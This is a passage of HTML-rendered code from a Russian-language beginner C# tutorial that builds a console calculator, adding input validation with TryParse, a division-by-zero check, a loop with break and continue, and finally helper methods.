</span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">else</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Неизвестная операция: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// выходим из Main — программа завершается</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Результат: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h4 id=\"разбор\">Разбор</h4>\n<p><strong>Почему две строки объединены в одну?</strong></p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// До этого писали:</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n<span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">input1</span><span class=\"p\">);</span>\n\n<span class=\"c1\">// Теперь:</span>\n<span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span>\n</code></pre></div>\n\n<p>Это одно и то же, просто короче. <code>Console.ReadLine()</code> возвращает строку, она сразу передаётся в <code>Parse</code>. Переменная <code>input1</code> не нужна если её больше нигде не используем.</p>\n<hr />\n<p><strong><code>double result;</code> без присваивания — зачем?</strong></p>\n<p>Мы объявляем переменную, но не присваиваем значение сразу, потому что значение зависит от условия. В каждой ветке <code>if</code> мы присвоим своё. Компилятор C# требует чтобы переменная была <strong>точно инициализирована</strong> перед использованием — поэтому у нас обязательно есть <code>else</code> с <code>return</code>.</p>\n<p>Без <code>else { return; }</code> компилятор выдаст ошибку <code>CS0165: Use of unassigned local variable 'result'</code> — потому что если ввести <code>%</code>, ни одна ветка не сработает, и <code>result</code> останется неинициализированным.</p>\n<hr />\n<p><strong><code>return;</code> в Main — что это делает?</strong></p>\n<p><code>return</code> в методе, который возвращает <code>void</code> (или в <code>Main</code>) — просто <strong>досрочно выходит из метода</strong>. Программа завершится. Это не ошибка, это нормальный способ сказать «дальше нет смысла продолжать».</p>\n<hr />\n<p><strong>Деление — особый случай</strong></p>\n<p>Что если <code>b = 0</code>? Математически — нельзя. В C# деление на ноль целых чисел (<code>int</code>) выбросит исключение. Для <code>double</code> C# вернёт <code>Infinity</code> (бесконечность). Лучше проверить явно:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Ошибка: деление на ноль!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h3 id=\"версия-3-защита-от-неправильного-ввода\">Версия 3: защита от неправильного ввода</h3>\n<p>Что если пользователь введёт <code>\"abc\"</code> вместо числа? <code>double.Parse</code> упадёт с исключением. Используем <code>TryParse</code>:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Первое число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">(),</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">))</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Это не число!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Операция (+, -, *, /): &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">().</span><span class=\"n\">Trim</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// .Trim() убирает лишние пробелы</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Второе число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">(),</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">))</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Это не число!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Деление на ноль!&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Неизвестная операция!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Ответ: {a} {op} {b} = {result}&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h4 id=\"разбор-tryparse\">Разбор TryParse</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">(),</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">))</span>\n</code></pre></div>\n\n<p><code>double.TryParse(строка, out переменная)</code>:</p>\n<ul>\n<li>Пытается превратить строку в число</li>\n<li>Если получилось → кладёт результат в <code>a</code>, возвращает <code>true</code></li>\n<li>Если не получилось → возвращает <code>false</code>, в <code>a</code> будет <code>0</code></li>\n</ul>\n<p><code>!</code> перед вызовом значит «если НЕ получилось». Читается: «если не удалось прочитать число — сообщи об ошибке и выйди».</p>\n<p><code>out double a</code> — объявляет переменную <code>a</code> прямо здесь. Это просто сокращённый синтаксис C#, чтобы не писать объявление отдельной строкой.</p>\n<hr />\n<h3 id=\"версия-4-цикл-не-выходим-после-первого-примера\">Версия 4: цикл — не выходим после первого примера</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Калькулятор. Введите &#39;выход&#39; чтобы закончить.\\n&quot;</span><span class=\"p\">);</span>\n\n<span class=\"w\">    </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">true</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"c1\">// бесконечный цикл — выходим только через break</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Первое число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">().</span><span class=\"n\">Trim</span><span class=\"p\">();</span>\n\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">.</span><span class=\"n\">ToLower</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;выход&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"k\">break</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// выходим из цикла while</span>\n\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">))</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Не число. Попробуй ещё.\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">continue</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// пропустить остаток итерации, вернуться к началу цикла</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Операция (+, -, *, /): &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">().</span><span class=\"n\">Trim</span><span class=\"p\">();</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Второе число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">().</span><span class=\"n\">Trim</span><span class=\"p\">(),</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">))</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Не число. Попробуй ещё.\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">continue</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">                </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Деление на ноль!\\n&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"k\">continue</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"w\">                </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Неизвестная операция &#39;{op}&#39;\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                </span><span class=\"k\">continue</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;= {result}\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Пока!&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><strong><code>while (true)</code></strong> — бесконечный цикл. Условие <code>true</code> никогда не станет <code>false</code>, поэтому цикл крутится вечно. Выход — только через <code>break</code>.</p>\n<p><strong><code>continue</code></strong> — «пропусти остаток этой итерации, начни следующую». Вместо того чтобы делать вложенные <code>if/else</code> — мы ранним <code>continue</code> отсекаем плохие случаи и идём к следующей попытке ввода.</p>\n<hr />\n<h3 id=\"версия-5-выносим-логику-в-методы-финал\">Версия 5: выносим логику в методы (финал)</h3>\n<p>Хороший код — это когда <code>Main</code> занимается только «дирижированием», а вся работа — в методах.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Program</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Калькулятор. Введите &#39;выход&#39; чтобы закончить.\\n&quot;</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">true</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"c1\">// Читаем первый операнд</span>\n<span class=\"w\">            </span><span class=\"kt\">double?</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">ReadNumber</span><span class=\"p\">(</span><span class=\"s\">&quot;Первое число&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"k\">null</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// ввели &quot;выход&quot;</span>\n\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Операция (+, -, *, /): &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">().</span><span class=\"n\">Trim</span><span class=\"p\">();</span>\n\n<span class=\"w\">            </span><span class=\"c1\">// Читаем второй операнд</span>\n<span class=\"w\">            </span><span class=\"kt\">double?</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">ReadNumber</span><span class=\"p\">(</span><span class=\"s\">&quot;Второе число&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"k\">null</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n\n<span class=\"w\">            </span><span class=\"c1\">// Вычисляем</span>\n<span class=\"w\">            </span><span class=\"kt\">double?</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Calculate</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">.</span><span class=\"n\">Value</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">.</span><span class=\"n\">Value</span><span class=\"p\">);</span>\n\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">!=</span><span class=\"w\"> </span><span class=\"k\">null</span><span class=\"p\">)</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;= {result.Value}\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Пока!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// Читает число от пользователя. Возвращает null если введено &quot;выход&quot;</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">double?</span><span class=\"w\"> </span><span class=\"n\">ReadNumber</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">prompt</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">true</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"n\">prompt</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot;: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">().</span><span class=\"n\">Trim</span><span class=\"p\">();</span>\n\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">.</span><span class=\"n\">ToLower</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;выход&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">                </span><span class=\"k\">return</span><span class=\"w\"> </span><span 